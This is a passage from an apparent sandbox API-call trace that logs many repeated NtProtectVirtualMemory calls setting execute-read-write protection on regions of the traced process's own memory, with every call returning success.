NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0266.001] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0266.012] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0266.025] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x415000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x415000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0266.122] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x415000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x415000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0266.133] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0266.144] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0266.154] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0266.171] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0266.181] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0266.191] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0266.205] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0266.221] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0266.231] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0266.241] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0266.252] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0266.268] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0266.278] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0266.292] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x415000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x415000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0266.309] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x415000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x415000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0266.319] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0266.329] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0266.339] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0266.357] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0266.367] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0266.377] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0266.388] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0266.404] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0266.414] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0266.425] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0266.438] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0266.455] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0266.466] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0266.477] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0266.517] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0266.528] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0266.539] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0266.566] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0266.577] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0266.594] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0266.606] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0266.618] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x415000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x415000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0266.637] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x415000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x415000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0266.647] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0266.657] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0266.668] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0266.705] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0266.715] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0266.725] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0266.735] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0266.753] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0266.763] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0266.773] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0266.790] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0266.800] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0266.811] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0266.821] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0266.838] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0266.849] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0266.859] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0266.869] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0266.887] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0266.897] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0266.907] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0266.917] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0266.936] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0266.946] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0266.956] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0266.966] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0266.983] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0267.005] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0267.015] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0267.031] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0267.041] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0267.052] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0267.064] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0267.086] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0267.096] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0267.111] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0267.121] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0267.137] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0267.148] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0267.158] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0267.171] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x415000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x415000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0267.213] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0267.223] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0267.233] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0267.244] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0267.376] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0267.395] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, 